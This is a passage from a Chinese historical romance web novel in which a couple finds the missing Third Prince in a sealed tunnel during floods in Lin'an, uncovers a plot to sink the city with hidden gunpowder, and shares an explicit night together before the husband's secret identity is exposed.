鹿微眠觉得不行,“那些什么火药点,十有八九是跟南巡和临安有关系,我得赶紧去找父亲。” 慕景怀八成连消息都没有带过去,人就被抓住扣下了。 鹿微眠看向封行渊。 封行渊垂眸,起身,“想去,那就走吧。” 凌双拿了几把油纸伞递过去,鹿微眠从院子里出来,被春莺瞧见。 春莺连忙催促伍奚上前拦住他们,问他们去哪。 春莺大概是有所感应,问鹿微眠,是不是慕景怀出事了。 鹿微眠直摇头,“不是他,我去找我父亲。” 春莺眉宇间尽是担忧。 “你放心,他好好的。你就在姑苏呆着,等我们回来。” 春莺踟蹰了下,还是点头。 鹿微眠叫人照看好春莺,正要走,忽然手被春莺拉住。 春莺将腰间的圆盘玉佩交给鹿微眠。 伍奚帮春莺解释着,“这玉佩是三殿下留给她的,中间的子母磁珠成对出现。” “母磁珠在这个玉佩里,子磁珠在三殿下的玉佩里面。” “这两个玉佩一靠近,就会互相感应,朝着对方的方向滚。距离远了感应不到,但是一两里之内还是可以的。” 鹿微眠听着伍奚的解释,看向春莺。 春莺像是已经知道发生了什么一般。 鹿微眠敛眸,“我知道了,别担心,没事的。” 鹿微眠说完,转头踏进雨幕中。 春莺望着他们离开的背影,轻轻扶了扶门框。 肚子里的小家伙又难得地闹了起来。 伍奚劝着,“姑娘回房吧,外面凉,当心受了寒气再生病。” 春莺敛眸,回到卧房内,去找纸笔。 每当她心绪无法安宁之时,总会想要给慕景怀写信。 有的时候也会分不清,信是写给他的,还是写给自己的。 春莺有片刻的出神,书信包裹中掉出来一张字条。 上面写着“会好的”。 * 山林间雨水淋过草木又落在马车顶棚上,从顶棚四面滑落。 鹿微眠在路上草草睡了一觉。 到临安时,已然天色大亮。 临安城戒严,但封行渊令牌一出,城门值守侍卫还是纷纷让路。 鹿微眠好奇,也就直接问了,“他们怎么这么听你的话啊?” 封行渊笑着脱口而出,“因为我要造反啊。” 鹿微眠看他。 封行渊在她的注视下,还是说实话,“临安布防是我布的,肯定要听我话。” 鹿微眠细问着,“那临安可好安排。” 封行渊看着马车窗外,“安排是好安排,能安排下去多少就不一定了。” 毕竟他也才到临安,这里如果他没猜错,应当有不少虞念的人。 临安城比起姑苏这会儿更加空旷,街巷里的人不多,有许多是连续两年洪水搬走的百姓。 有些是搬不走的,很大一部分是腿脚不便的老人。 马车一路赶去知府。 鹿瑜听见来信,赶忙出门相迎,见到鹿微眠还是难以置信。 鹿微眠跑上前,“父亲!” “好乖乖,怎么到这里来了?”鹿瑜这会儿是既想见到她,又担心她出现在这里。 鹿微眠这个时候,也不好多说别的废话,“我有些要事需要告知。” “什么要事,送个信儿就好了。”鹿瑜催促着她,“好孩子,来这玩玩就行了,赶紧启程回家。” 眼下已经到了雨季。 这雨已经下了一阵子,说不好再下几天就要有洪汛了。 她在这里干什么。 “父亲别急,你先听我说,”鹿微眠开门见山道,“三殿下前阵子来找你们,但是被淑妃娘娘的人带走藏起来了,得尽快找到他。” 鹿瑜远离京都,乍一听这些事情一头雾水,“淑妃娘娘还有三殿下……” 鹿微眠见此,连忙拉着鹿瑜进屋,“进来我与父亲细说。” 封行渊看着鹿微眠进去,并没有一同跟随。 凌双从门外走进来与封行渊示意,“主子,和姜崇一起听虞念安排的人都抓到了,只不过……” “怎么?” “都是死侍。”凌双沉声,“抓到的大部分都第一时间服毒自尽,只剩下几个没死透的。” 封行渊提步,“那去看看。” 昏暗的牢房内,囚笼落锁,发出沉闷的金属重响。 被捆在木架上的男人听见动静抬眼,大抵是服过毒没有多久,他唇色青紫,眼底一片不正常的血红。 抬眼看人时,像是厉鬼前来索命。 封行渊进门,示意看守扯掉男人嘴上的布帛。 凌双上前,“你要是能老实交代出淑妃的计划,兴许还能留下一命。” 男人却笑了,“我不需要活着,我这条命就是为了今日而生。” “你们改变不了这场祭奠大礼!” “祭奠”二字听来令人心惊。 在场众人都面目严肃,听起来像是用一座城池的生灵来举行一个盛大的祭奠仪式。 换取另一个地方的新生。 “很快了,你们连临安都出不去,都得给我陪葬,一个也别想跑!” 男人唇角溢出黑色毒血,死死盯着他们,硬生生咽了气。 封行渊坐在对面,黑瞳微眯。 很快屋外传来城门守卫禀报声,急匆匆地去找知府和鹿瑜,“大人!不好了,城外官道几座山因连日下雨接连垮塌,将官道封死了!” 第67章 高热 隔壁房间内传来知府意外又焦急的声音, “这还没下大雨啊,怎么会这样呢?” 他又问,“眼下灾情如何?” “周围几个村庄受损比较严重, 官道上困了一部分人。” 邓知府忙不迭地吩咐,“赶紧派些帮手前去救人。” 封行渊在屋子里坐了许久,没有其他动作, “你觉得, 这官道被封, 像是天灾吗。” 凌双听着屋外混乱繁杂的声音,摇头。 这消息来得很是巧合。 在眼前刚刚咽气的囚徒说了祭奠大礼之后。 很难不将他们联系在一起。 封行渊看着眼前刚死的人, 沉思着一时半刻没有起身。 祭奠礼, 他很早之前好像听虞念提起过。 是一种比摄魂术还要阴邪的东西,甚至不切实际。 拿一个鲜活之地, 去换一片死地的重生。 以活人生灵,换死人新生。 不过当时他不过以为是虞念随口闲聊,并没有放在心上。 眼下看来倒不尽如此。 封行渊从牢房内出来, 看见知府匆匆忙忙收拾东西出了大门,像是着急赶去抢险。 鹿微眠坐在大堂内,而鹿瑜刚刚听完鹿微眠所说的前因后果,以及外面来信, 愁得在大堂内来回踱步。 鹿瑜不解,“怎么眼下大坝没事, 官道又封了呢。” 很显然他也察觉到了不对劲。 “怎么也得下数天暴雨,才容易有官道被封的危险, 眼下这水量也不至于。” 鹿瑜转头看着鹿微眠, 又叹了一口气,“眼下你们进来找我, 这官道封了也不好出去了。” 别说鹿微眠他们不好出去,就是临安真有个什么事,都不好叫人进来救。 封行渊在门口站定。 鹿瑜看见他,叫他进来,“你们就先别操心这些了。” “这一路一定累了,知府邓大人方才与我说,安排好了厢房,你们先去休息。” 屋内随侍的侍女上前行礼示意,带他们去厢房。 鹿微眠想来眼下她继续呆在这里用处也不大,“我晚一些会出去一趟,回来再过来。” 鹿瑜不由得担心,“去哪?” “得去找三殿下。” 封行渊撩起眼皮,看向鹿微眠。 鹿瑜觉得也是,“我看看还有没有空闲的人手。” “无妨,岳丈放心,”封行渊回着,“我这里有。” 鹿瑜愣了愣,连连点头,“有帮手就好,不过阿眠你可千万去太危险的地方,小心行事。” 鹿微眠答应着,跟随侍女往里走。 鹿瑜又不放心,在身后嚷着,“对了!你不能在外面过夜啊,晚上回来要是看路通开了,你们赶紧离开这里啊!” “知道啦。”鹿微眠先答应着鹿瑜,跟着侍女进里院厢房。 封行渊跟在她身后,看见她将东西放下,然后就摸出来了春莺给的那块玉佩。 封行渊走上前,“你要去找他。” “咱们肯定要去找他的啊。”鹿微眠看着他,“慕景怀知道许多事情,眼下得找到他,好有对策。” 封行渊朝她伸手,“给我,我去。” 说实话,他现在和慕景怀有一点恩怨。 毕竟夫人被带跑的账他还没算。 他不想让鹿微眠过多和慕景怀接触。 但人的确还是要找的。 鹿微眠想也没想,“我跟你一起去。在城中转着找人,这也没什么危险的。” 封行渊坐在旁边,手指轻轻点动着扶手,看鹿微眠也没有休息,就准备出门。 也罢,说多了显得他小心眼,他不想让鹿微眠觉得他小心眼。 还是得大度一点。 做人夫君可真难。 眼下时辰尚早,雨势也不大,出去正好。 鹿微眠披上棕衣,穿戴好便出了门。 钧宜领过来几匹马,他们分头行动。 但只有鹿微眠他们能仔细寻找具体方位,其他人只能先确定大概方向。 像是临安这种小城中,能存放火药点的地方,一定藏在暗处。 若是明处,能与外界连通,那大概率也会淋雨打湿火药,让火药失效。 居民家中应当也不像,虞念一直以来地作风,就是想让她的手笔全部隐藏成天灾,然后把过错都推到朝廷办事不力、兴修水利不完备上。 好拖朝廷下水。 将火药直接用于居民家中,那就与宣战无异。 隐藏成天灾的话,那火药能放在哪里。 鹿微眠他们在城中转了一圈,她手上玉佩的磁珠一点动静都没有。 一连三天,城中的大部分地方全部转遍,也没找到太多蛛丝马迹。 慕景怀像是人间蒸发了一样,始终没有消息。 不在城里会在哪。 按照之前的推测,姜崇想借刀杀人,那就只能把人藏在临安。 他们甚至猜测过,这么长时间了,慕景怀该不会自己醒过来已经逃离临安。 但是鹿微眠觉得可能性不大,即便是慕景怀逃出来,多半也会先找到他们送消息。 雨停了半日,像是暴风雨前的宁静。 在众人都松一口气时,晚间突然狂风大作,比前阵子更加猛烈的雨势倾盆而下。 鹿微眠被困在知府,一时也出不去。 她与封行渊第二日清早收拾好去大堂的时候,见邓知府和鹿瑜两人面色都更加凝重。 看得令人心下不安。 鹿微眠不由得问,“怎么了?” “没事,孩子,”鹿瑜招呼着她过来用早膳,“今日出不去,怎么不多睡一会儿。” 他记得他这个好乖乖,平日里都巳时才能晨起,眼下来了好像还没睡过一日懒觉。 鹿瑜想着,眼底忧虑更重,“三殿下找得怎么样了?” 鹿微眠摇头。 屋内一时间寂静无声。 “眼下情况凶险,”鹿瑜看向封行渊,“贤婿,不然你先带小女走,离开这里,其他的什么都不要管。” 邓知府为难地开口,“不过眼下也不好走啊,城中想逃难的百姓都堵在道口,也没人能出去。” “周围山上都有水汇进来……走山路,未必能有城内安全,若封大人能有办法,可否将城中百姓也一并带出去。” “出去是出不去了。”封行渊看起来很是平静。 要是能出去,虞念的祭奠礼也就失去了意义。 如果他没猜错,临安城四周的出口,也一定埋伏着虞念的人。 有人出城就杀。 鹿微眠瞧着鹿瑜脸色惨白,小声问道,“怎么突然这么说,是发生了什么事吗?” 这一夜暴雨,按照当下大坝的蓄洪能力还可以承受,不至于让父亲这般紧张。 邓知府说了实话。 “上游的雨势更大一些,发生了一些山崩,把江水抬高了不少。今早水势一下子就大了许多。” “山崩?”又是山崩。 想来前两日官道被封,也是突然发生了山崩。 鹿微眠秀眉轻蹙,捏着手里的勺子刚咬了一口汤圆,就停了下来。 山崩、火药点、慕景怀。 这些字眼冷不丁串联在一起,鹿微眠看向封行渊。 封行渊眉梢微扬,迎上她的视线。 鹿微眠一个起身,将封行渊拉起来,“父亲,我们出去一趟!” 马蹄声响彻在空荡的大街小巷。 迅速穿梭着,朝着四面城郊山区跑过去。 鹿微眠捧着春莺给她的玉佩,坐在马背前指挥着,“这边好像没有。” 封行渊坐在她身后,她头顶碎发在他的下颚蹭动着,蹭得人微微发痒。 他单手拉扯缰绳调转方向,按照鹿微眠指挥的方向走。 到底是下雨,他们两人共用一个斗笠和油衣,被笼在同一片雨幕之下。 鹿微眠不看路只看手里的玉佩,封行渊只需看路即可。 偶尔鹿微眠着急了,会夹身下马匹的肚子,催促他快一点。 跑到临安城外的一处山野郊原,鹿微眠突然激动地出声,“动了动了!” 封行渊勒紧缰绳停下,低头看了看鹿微眠手里的玉佩示意。 他倾身过来,斗笠上的雨珠顺势滴落在鹿微眠手边。 冰得她手指一凉。 鹿微眠微顿,一时间也不方便擦掉。 水珠顺着她手背滑落,带过一道蜿蜒麻痒的水痕。 就在她还没适应水珠凉意的时候,封行渊抵在她耳后的温热吐息从耳侧传来,从他的角度也能看到鹿微眠手中玉佩磁珠的动向,“好像是北边。” 鹿微眠不自在应了一声,顺手拍了拍他的腿,“走吧。” 封行渊冷不丁被拍到腿,深深地看了她一眼。 随后便直起身子,驾马朝着她示意的方向跑过去。 磁珠震颤得愈发厉害,随着他们的方向改变而改变动向。 最终锁定在了一处深山里。 他们在山脚下转了一圈,找到了磁珠动荡最明显的区域,鹿微眠下马,“好像就是这里了。” 封行渊抬手示意。 他们身后紧跟来的将士立马蜂拥而上,钻入了茂密的山林之中,寻找入口。 鹿微眠随着磁珠震颤的动向也跟着进了山林。 山林四处静谧无声,只有他们不停拨弄林间树枝发出的窸窣声响。 直至一处山洞里,众人才看到了一个被巨大石块压覆住的石门。 几个将士将石门合力抬出,显露出一条通往山体内部的隧道。 玉佩磁珠动地更加明显了。 径直朝着山体深处的方向滚动,最后停在最尖端。 这会儿,他们隐约能听见来自隧道深处的拍打声。 起先鹿微眠还以为是幻觉,当拍打声再度响起时,她才意识那不是幻觉,是慕景怀! 鹿微眠赶忙出声,“就在里面。” 隧道昏暗,一望不见底。 封行渊手里拿着一个火折子,送他们下去。 越往里走,那拍打声就更加清晰,甚至还有微弱的呼救,“有人吗!” 钧宜也听出来了一些,“好像是三殿下的声音!” 鹿微眠紧绷的心弦适才松开,试着叫了他一声,“慕景怀?” 那边的人停顿了一下,接着拍打声音更大几分,“我在这!” 声音顺着崎岖隧道传入耳中,像是有一层虚无缥缈的阻隔。 走到隧道尽头才发现,里面被许多巨大的石块挡住。 前面开路的将士将里面阻隔的石块一点点搬开,叫慕景怀离远一些,避免伤到他。 即便如此,光是搬运石块,就搬了小半个时辰,才露出将慕景怀封堵在最里面的石门。 看得出来,姜崇是想要困死他,根本没有想让慕景怀自己出来。 最后的石门被搬开之后,慕景怀脸色惨白、虚弱无比的扶着受伤的手臂。 他仿佛是撑着最后一丝气力,等到他们过来。 看到他们之后,连话语都显得气若游丝,“你们总算来了。” 他踉跄一步,没等走出来,整个人就跌了下去。 为首的将士赶忙扶住他,才不至于让他跌到地上。 鹿微眠小步跑上前,看见慕景怀已经晕了过去。 他手臂有伤,伤口只是被粗浅的包扎了下,没有药也没办法处理,浸了雨水有些感染。 钧宜摸了下慕景怀的头,“夫人,他在发热。” 鹿微眠催促着,“赶紧,先带他回去。” 众人匆忙背着慕景怀往外走,从山野郊外往城中赶,恰好路过长江。 前几日还在安全线以下的江水涨到了石阶上。 甚至蓄水口飞溅出来的水花,已经打落在了岸边,有些飞溅在岸边一些空置的房屋墙壁上。 鹿微眠收回视线,先赶回了知府。 知府官兵看见慕景怀被送回来,赶忙张罗着安置他。 叫来了郎中看诊。 封行渊看着鹿微眠围着慕景怀忙里忙外,不太高兴地看着。 但到底是正事,他也不好说什么。 很烦。 但还得装大度,宽厚,贤德。 鹿微眠坐在屋子里,先给春莺写了一封信。 写到一半,鹿微眠才意识到山路被封死,这封信根本送不出去。 鹿微眠叹了一口气。 封行渊抬眼看过去,看着她手里的信纸,“想送信?” “我忘了现在送不出去的。” 封行渊眉梢微扬,接了过来,直接出门。 鹿微眠没注意他去干什么,只是坐在外间,等郎中给慕景怀处理伤口。 鹿瑜也来看了看。 鹿微眠说着,“父亲不必担心,三殿下眼下没有危险了。” “眼下已经有人前去控制大坝蓄洪了,只不过现在水急了一点,只要不继续加重应当无妨。”鹿瑜坐在旁边,“眼下,我们跟陛下那边也失去联系了,不知陛下到哪了。” 鹿微眠差点忘了这一层,“陛下他们还会过来吗?” “他们现在走水路,不受陆路山崩影响。但我们消息送过去,倘若正常的话,他们应该在上一座沿江城市就停下来。” “但是,如若是你说淑妃娘娘的那个情况,恐怕他们的船已经在江上失去了控制能力,或者是被淑妃娘娘的人操控,任由洪水硬冲船只,往咱们这边的方向走。” “只等到咱们这里,被一同损毁沉入江底。” “如果是这般,那速度会很快,陛下那边最多不过三日就会顺着江水入城。” 鹿微眠觉得他们都自顾不暇了,哪里有功夫管陛下,“陛下那边咱们多次提醒了,他多半有所对策,没有,咱们也帮不上忙。” “说得也是。”鹿瑜想着,“眼下我们先做好自己的事情,陛下那边的人手比咱们多太多了。” “父亲先去忙吧,这边我守着就好。” 鹿瑜点了点头,伸手拍了拍鹿微眠的肩膀。 鹿瑜走后,鹿微眠坐在桌前等着,困顿地打了个哈欠。 屋内郎中跑出来,“夫人,醒了!” 鹿微眠打哈欠的动作停到一半,掩唇又生生咽了下去,赶忙起身。 她提起裙摆,穿过层层纱帐赶进去。 慕景怀仍然气力很弱,唇色苍白如纸,看见她进来,咧开嘴笑了笑,“你来了。” 鹿微眠走到旁边坐下,“殿下,眼下可好些了?” “别提了,”慕景怀长长松了一口气,“我以为我就要交代在那里了。” 鹿微眠想起来,“我方才叫厨房温了点粥,你先喝。” 慕景怀接过来道谢,忽而想起什么来,“春莺……” 鹿微眠示意他放心,“春莺在姑苏,她很好。” 眼下姑苏起码是安全的。 慕景怀弯起眼睛,“我就说,把她交给你们我放心。” 鹿微眠其实现在也不需要细问,她差不多能知道了大概,“淑妃娘娘埋了那么多火药点在山里,该不会是计划着山崩加速洪水沉城吧。” 慕景怀缓了两口气,“是这样的,我也是来了才知道她改了计划,从前只需要炸了大坝即可。” “大概是因为大坝被修缮得太完备了,她也知道无从下手,就换了对策。” 鹿微眠点头,“今日,我们已经遣人去找附近山脉里藏着的所有火药了。” 慕景怀凝眉,“我不知道我母妃准备了多久,少说也有十几年。” “她最擅长遣人挖地宫,这地宫里,要小心有她养的死侍……就像是帝台城一样。” 鹿微眠发现,她好像每次跟慕景怀说话,都能知道一些新消息,“帝台城是……” 她话还没说完,隔间响起敲门声。 鹿微眠回头看过去,看见封行渊就站在门口,看着他们敲门,“有打扰你们吗?” 慕景怀连忙道,“不打扰,我也才刚醒。” “瞧你们聊得挺好的。”封行渊故作不经意道,“还以为我耽误了你们正事。” 说完,他又扯出一个笑,“还好没有。” 鹿微眠总觉得他说话怪怪的,“你回来啦。” 她走上前轻轻蹙眉,发觉封行渊身上被雨淋透了。 “怎么淋成这样了?”鹿微眠记得,他前两日每日跟她一起出去找人,都没淋成这样。 今日自己出去怎么就这样了。 “外面雨太大,不过消息送出去了。” “怎么送出去的啊。” “找了只鹰,能飞出去。” “淋了雨得赶紧洗沐驱寒气,”慕景怀听见动静,体贴地出主意,“小心跟我一样生病。” 鹿微眠催他,“你快回去把衣服换下来。” 封行渊答应着,先出了门。 鹿微眠还没等坐回去,封行渊又折返回来,“我的衣服找不到,夫人帮帮我。” “衣服怎么还能找不到呢?”鹿微眠很奇怪,他们也没带多少衣服过来,摆在那里一眼看到底。 她还有事没聊完。 慕景怀摆了摆手,“无妨,你先去吧,今日也不早了,咱们明日再说。” “那你好好休息,”鹿微眠带封行渊出门,临走前留了一句,“我明日再来看你。” 说完,鹿微眠先回了他们的厢房,一眼就看到衣服挂在旁边架子上,“那不是就在那,还是你自己挂的。” “还是夫人好眼力,”封行渊心情愉悦地走上前,把人骗回来就成,“我都没看见。” 鹿微眠推他,“你快去换衣服,别着凉了。” 封行渊拿过衣物,先进了沐浴间。 鹿微眠叫人备了姜茶,在屋子里准备收拾收拾睡觉,忽然听到了沐浴间一声重响! 紧接着,里面叮叮当当地乱成一团。 鹿微眠吓了一跳,连忙起身去看,径直看见旁边的架子倒地,封行渊撑在柜子上,脸颊泛着不正常的潮红。 鹿微眠看着地上那一片混乱,“怎么了?” 她小心翼翼地从一片混乱中走进去,拉过封行渊正要看他是怎么回事,封行渊却根本站不住,身形晃了一下,双手撑在了她身后的柜子上。 鹿微眠被推得踉跄两步,后腰抵在桌柜旁,面前被他高大的身形笼罩住。 混合着他身上不太正常的热气,一下一下蒸着她。 封行渊垂眸,视线从她的眼睛下拉到唇线,喉结轻滚。 “我有点晕。” 鹿微眠看他眼睛红红的样子,跟慕景怀的状态有些像。 她下意识伸手去摸他的额头。 “好烫啊。”鹿微眠又摸了摸他的脸,“你……” “许是淋雨淋的。”封行渊身形压低,就着这个姿势,扣住她的腰身,下巴搭在了她的肩头。 鹿微眠拍了拍他,“你得赶紧吃药。” 封行渊体质原因,很难生一次病,怎么出门一趟就给自己淋成这样。 “若是夫人能多关心我一些,”封行渊收紧手臂,“一晚就能好。” 鹿微眠觉得身前像是贴了个火炉,将她熨烫着,“我哪里不关心你了。” 封行渊不想说显得他不大度的话,“再多一些。” 鹿微眠沉默了下,又问他,“真的能一晚就好吗?” “真的。” 鹿微眠将信将疑。 不过她记得那次他在山里高热,也是一晚就好了。 她还以为是吃的药管用,但仔细想来,他的血能医百病,一个晚上能好也说得通。 “好吧。”鹿微眠暂时接受了他的说法,“那你需要我做什么?” “给我抱会儿就好。” 鹿微眠配合着不动,“你抱。” 封行渊眼睫压低,纤长睫羽剐蹭过她颈间肌肤。 渐渐地,他就不想只要抱抱了。 在屋外细密的雨声中,鹿微眠被他贴得微微发热。 他气息越来越重,鹿微眠还以为是因为发热不舒服导致。 直到他问了一句,“夫人想不想试试,高热的我。” 第68章 沉城 高热的什么?! 鹿微眠懵了一瞬, 当下并没有反应过来封行渊的话。 直到他的手指顺着她的腰际,缠上她的裙带。 封行渊埋在她颈窝,侧头细吻在她颈侧, 温哑嗓音带着蛊气,“试试看,会比平日热一些。” 鹿微眠隐约意识到他在说什么, 难以置信地推搡他, “你还在烧着!” “能暖身。” 暖个大头鬼。 鹿微眠雪玉般莹白的颈随着他的亲吻仰起, “你又胡闹。” 人被他抱上身后的桌子,锁骨随着她屏气的动作, 在身上显露出来更加清晰的线条。 沐浴间热气* 熏蒸, 空气里都是潮湿的水雾,吸入肺腑都是温温热热的。 封行渊吸入的, 还有溢满胸腔的茉莉甜香。 让人上瘾。 想要将她嚼碎入腹。 一旦生出这样的念头,就开始缓慢地抚慰着眼前的茉莉花。 鹿微眠脊椎发酥,很快就说不出来拒绝的话。 衣衫坠落在身下木桌上, 松散地堆叠在周身。 高热状态中的人,在雨夜格外温暖,比往日要更容易让人丧失防备心,将人轻而易举地烫化。 因生病而变得滚烫的大手, 握住她膝盖的时候,鹿微眠还想, 不应该这样的。 他还在生病,这样成何体……! 鹿微眠甚至没想完整, 屋内桌案便发出沉闷吱吖声。 秀眉骤然蹙紧, 她收紧了挂在他脖颈间的手臂,只敢在他耳边发出一声呜咽。 他劣根性暴露, 问她,“是不是暖身?” 鹿微眠不回答。 封行渊沉吟片刻,“那应该是我,没让夫人感受清楚。” 鹿微眠心底油然升起一股惊恐之前的空悬,紧接着那点空荡没有着落的感觉,就被严丝合缝的堵死。 甚至开始充盈膨胀。 “现在呢?” 鹿微眠膝盖瑟缩了一下,不肯出声。 这让她想起了幼时看嬷嬷用火斗熨平衣物。 滚烫的器具在衣物上轻轻熨过,就能抚平衣物上的褶皱。 让衣衫布帛自动卸下防备,每一处都变得柔软,摊平依附在桌上。 病中高热,身上就带了些不同寻常的温度,熨烫过的地方都会因为无法适应而收紧。 每一根神经都被高温滚过,激起麻麻酥酥的触感。 这几日的雨势都大了一切。 平日里听来总是令人心惊胆战,这会儿也不例外。 狂风吹得沐浴间窗户咯吱咯吱作响。 鹿微眠有点害怕,“锁,锁窗。” 她一害怕就咬人。 封行渊轻轻弯唇,“要锁窗吗?” 鹿微眠闷闷一声,“嗯。” “那听夫人的。” 鹿微眠没看见他眼底的恶劣,正想着他变乖了的时候,整个人忽然间被抱起! 强烈的失重感与悬空感让鹿微眠屏气,一口咬在了封行渊结实的肩头。 眼尾沁出泪花。 封行渊发现她现在真的好爱咬人,“之前总是跟我说,不能随便咬人的是谁啊?” 现在到处都在咬他。 鹿微眠根本无法集中注意力听他说什么,所有的注意力都在他走去锁窗的动作上。 她从来没有觉得从这里到窗口这么短的距离,需要花这么长的时间。 封行渊是故意走慢的。 抱着她,将她抵在窗户上,将窗户锁死之后,又把人这样抱走。 鹿微眠拍打着他,“锁好了,别走了!” “放我下去!” “忍一下,我们回房。” 鹿微眠拼命摇头,“封轸!” 她要忍不住…… 连夫君都不叫了。 封行渊黑瞳微眯,故意绕弯路,如愿听到了她的哭啼声。 哭着叫他放她下去,不许走。 他才不。 骄矜的小姑娘总是这般端庄自持,他就越是想要弄乱她。 鹿微眠只觉得他好坏啊。 坏透了。 他将她放回床枕间的这段距离,她两次哭出声。 鹿微眠一沾枕头就将自己缩成一团,但很快团起来的动作被制止。 鹿微眠眼泪汪汪地看他精神气颇足,哪有半点病人的模样。 反倒是她有气无力,像是被抽走了骨头一样。 鹿微眠踩他的腿,“你还病着……” 封行渊握住足踝,左眼又开始浮现红血丝,看向她的视线妖冶而野性。 他拉上被子,将他们两人都罩在被子里,“在吃药了。” 屋内的光线跳跃,在烛火爆裂燃烧之时。 鹿微眠心脏也仿佛被一只大手抓住攥紧,铺天盖地的潮水从天而降,涌入她的世界! 仿佛不断攀爬的山顶,山路泥泞,一下下冲上去,又滑下来。 但仍然不间断地接近顶峰,直至完全越过高山! 看到山外透亮的万丈光芒。 鹿微眠想下去,但那股落不下去的感觉再度袭来。 本能的躲避,却被他回以更加猛烈的眷恋与纠缠。 过于剧烈的一切,让鹿微眠指甲在他肩背上刮出一道道痕迹。 屋内光线随着烛火一点点燃烧殆尽而逐渐变得昏暗,直至完全黑暗。 鹿微眠这一日睡到了日上三竿。 大概是这阵子第一次睡足,精神头好了不少,只是腰身以下又酸又软。 封行渊已经出了门,与他们一同去找火药。 鹿微眠好奇他怎么能有这么旺盛的精力,这样了还能起得来。 她一点也起不来。 鹿微眠晨起收拾,稍一弯腰,腰身就酸麻得往下塌。 导致她时不时得扶一会儿。 鹿微眠出门时,被府内侍女瞧见,“您身子不适吗?” “没,”鹿微眠一时间有些窘迫,“兴许是昨日出去跑了太久,有点累罢了。” 侍女了然,“如今三殿下找到了,您也可以好好休息休息了。” 鹿微眠想起来问,“外面水情如何?” 侍女踟蹰着道,“这两日雨是下得大了些,但两位大人现在在盯着呢,您且放心。” 鹿微眠应声,在屋内闲来无事就去了慕景怀屋子里。 慕景怀屋子里人多了一些,放下了里间的隔纱,暂时看不见里面的场景。 鹿微眠只能听到郎中在里面,周围应当是跟着几个药童。 郎中正招呼着药童帮忙按住慕景怀。 钧宜也在里面守着,听见鹿微眠过来,才出来相迎,“夫人。” 鹿微眠看着眼下的情况,“是出什么事了吗?” “不是,”钧宜回头看了看纱帐里面晃动的人影,“是三殿下手臂的伤口处理不及时,有些痈症,才会一直高热不止,需要割开伤口,引出东西来。” 钧宜说完,里间就传来慕景怀咬布后发出来的痛吟。 听得鹿微眠一阵一阵心惊。 她坐在外间等着,约么半个时辰后,郎中才收拾完从里间出来。 郎中见她,躬身行礼示意,“夫人,好了,您可以进去了。” 鹿微眠起身问着,“怎么样了?” “眼下还有一些烧,”郎中回着,“还是得等等,看看脓血弄出来之后的恢复情况。” “伤口太久了,眼下天气又潮湿闷热,恢复得好了万事大吉,若是不好……”郎中也没敢继续说,“不过殿下吉人天相,想必一定会化险为夷的。” 鹿微眠点头,道了声谢,送郎中出去。 折返回来时,慕景怀刚喝完药靠在床头,额角全是冷汗,整个人像是被扒了一层皮一样。 他的手臂被包扎起来,听说要一天一换药。 鹿微眠走上前,坐在旁边,慕景怀才勉勉强强回神,憨笑了一下,“还挺疼的。” 慕景怀从小长在深宫,被淑妃看护得很紧,的确是没有受过这样的伤。 他胸口因为刚刚的剧痛而剧烈地起伏着。 鹿微眠宽慰着,“你好好休息,过两日就好了。” “春莺有一次摔倒,腿上磕了一道口子,起先都没当回事,后来生了痈症,也是要这样割开。”慕景怀出神地嘀咕,“原来这么疼啊。” “她怎么都没哭呢。” 鹿微眠这些时日与春莺相处,能感觉到春莺是一个内心很强大丰盈的女孩子。 她不知道上次梦里的事情,与前世他们的选择有没有关系。 但春莺选择自戕,很符合她的性格。 “昨日找到你的消息,已经送出去了,想必顺利的话,眼下她已经收到了。” 慕景怀忍着疼痛勉强扯出来一个笑,“谢谢啊。” 他停顿了下,“就是不知道,我还能不能活着出去……” “别胡说。”鹿微眠打断他,“一定会没事的。” “我们都会没事的。” 慕景怀心思很重,看着鹿微眠,“昨日与你说的,其实还没有说完。” “帝台城是我母亲用来养兵力、积攒实力的窝点,大概不止长安有这种地方,临安也有。” “如今看来,这样类似的窝点一定不在少数,姜崇把我送进去之后,也引出来一部分死侍,都是她养在山里的。” “我只怕这数量太大,以我们眼下进不去出不来的境况,外加天灾,很难与他们抗衡。” 鹿微眠不解,“死侍,是为了她,甘愿牺牲自己吗?” 慕景怀也不知道怎么形容这些人更加合适,“我母亲会摄魂术,能操控人心,这些人就是被控制了。” 鹿微眠听到摄魂术三个字眼皮跳了一下,“那揽星阁也是她……” “揽星阁不是她,是封轸。” “封轸”两个字一出,如同当头一棒。 鹿微眠怀疑自己的耳朵出现了问题,“谁?!” 慕景怀刚说完,正准备继续说,就看见鹿微眠这么大反应,茫然地眨了眨眼睛。 该不会……他又说了什么不能说的消息。 而此时也巧,封行渊拿了一卷字条从屋外进来,“昨日送出去的信,已经回来了。” 慕景怀抓了抓头发,视线在他们之间打了个来回,欲言又止,止言又欲。 封行渊进屋就看到这般场景。 鹿微眠转头看向门口,难以置信地看着他,又回头看了看慕景怀。 慕景怀想哭,“对不起啊,我不是故意……” “与你无关。”鹿微眠缓了缓,才起身往外走。 她走到封行渊身边时,停了一下,缓了缓心绪,声音很沉,“放下东西,出来一趟。” 鹿微眠说完,便离开了房间。 封行渊眉头拧紧,走上前看向慕景怀,“你又说了什么?” 慕景怀如坐针毡,“我,我就是跟她聊起来我母亲了,就说到帝台城,又一个不小心说了,揽星阁阁主……” 慕景怀偷偷看了封行渊一眼,“是你。” 封行渊深吸一口气,将信件递了过去。 转头快步出了房门。 慕景怀懊恼不已,都怪他知道得太多了。 随便说点什么都是秘密。 鹿微眠在他们的房间里等他,先倒了一盏凉茶让自己冷静一些。 封行渊走进屋,屋外细雨从那张干净纯粹的清秀面容上凝结出一颗颗水珠。 他眼帘压低,这个时候像是一个心虚的小兽,始终没有敢看她的眼睛。 鹿微眠看他进来,抿唇放下茶盏。 屋内有片刻的沉寂,令人心下不安。 直到鹿微眠开口,“揽星阁是你的。” 封行渊唇线绷直。 “所以你会摄魂术。”鹿微眠看向他,“我还奇怪呢,刚见到你那日,我为什么总是身体不受控制。” 鹿微眠无声轻笑,“我以为是我魔怔了。” 鹿微眠扬眉,“你对我做了什么?” 又是片刻的沉默。 “封轸,说话。” 大名都叫出来了。 封行渊难得不敢说话,只能坦白道,“对不起。” 鹿微眠深吸了一口气。 连上了,听慕景怀说虞念擅长布置地下,又跟帝台城有关系。 听着口风像是虞念在长安地下布了一个窝点,就是帝台城。 而他又是虞念养出来的刀。 揽星阁又是帝台城最核心之处。 从前,她又许多次觉得,封行渊的行事作风跟揽星阁那个爱用摄魂术的人很像。 鹿微眠拍桌而起,“你怎么能!” 他几步上前,想要去抱她。 